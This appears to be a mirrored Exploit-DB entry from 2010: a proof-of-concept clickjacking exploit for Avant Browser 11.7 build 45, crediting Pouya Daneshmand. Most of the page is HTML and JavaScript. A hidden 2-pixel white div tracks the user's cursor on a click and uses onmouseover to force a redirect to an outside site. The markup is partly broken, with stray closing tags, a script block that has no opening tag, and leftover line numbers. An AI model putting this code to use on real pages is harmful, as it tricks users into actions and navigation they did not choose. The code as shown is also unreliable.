Avant Browser 11.7 build 45 – Clickjacking - 体验盒子

作者： Pouya Daneshmand

日期： 2010-07-17

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/14385/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

<html>

</style>

<body>

<p align="center"><code><font face="Calibri" size="6" color="#FF0000">Avant</font></code><code class="xml plain"><font face="Calibri" size="6" color="#FF0000"> Browser </font></code>

(V11.7 build 45)</code></font><font face="Calibri" size="6" color="#FF0000"><code class="xml plain">

<b>Clickjacking</b></code></font></p>

<div class="style1" id="open"

style="position:absolute; width:2px; height:2px; background:#FFFFFF; border:1px; left: 2px; top: 2px;"

onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';">

<font size="1" color="#FFFFFF">ClickJacking</font></div>

function updatebox(evt) {

mouseX=evt.pageX?evt.pageX:evt.clientX;

mouseY=evt.pageY?evt.pageY:evt.clientY;

document.getElementById('open').style.left=mouseX-2;

document.getElementById('open').style.top=mouseY-2;

}

</script>

</strong><a href="http://www.google.com" onClick="updatebox(event)"><font

style="font-family:arial;font-size:32px">Go to the google.com</font></a></p>

<p><br>

</p>

<div class="style1" id="open0"

style="position:absolute; width:2px; height:13px; background:#FFFFFF; border:1px none; left: 354px; top: 146px;"

onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';">

<font size="1" color="#FFFFFF">ClickJacking</font></div>

<p align="center">Discovered by: Pouya Daneshmand (whh_iran[at]yahoo[dot]com)</p>

<p align="center">Securitylab.ir</p>

</html>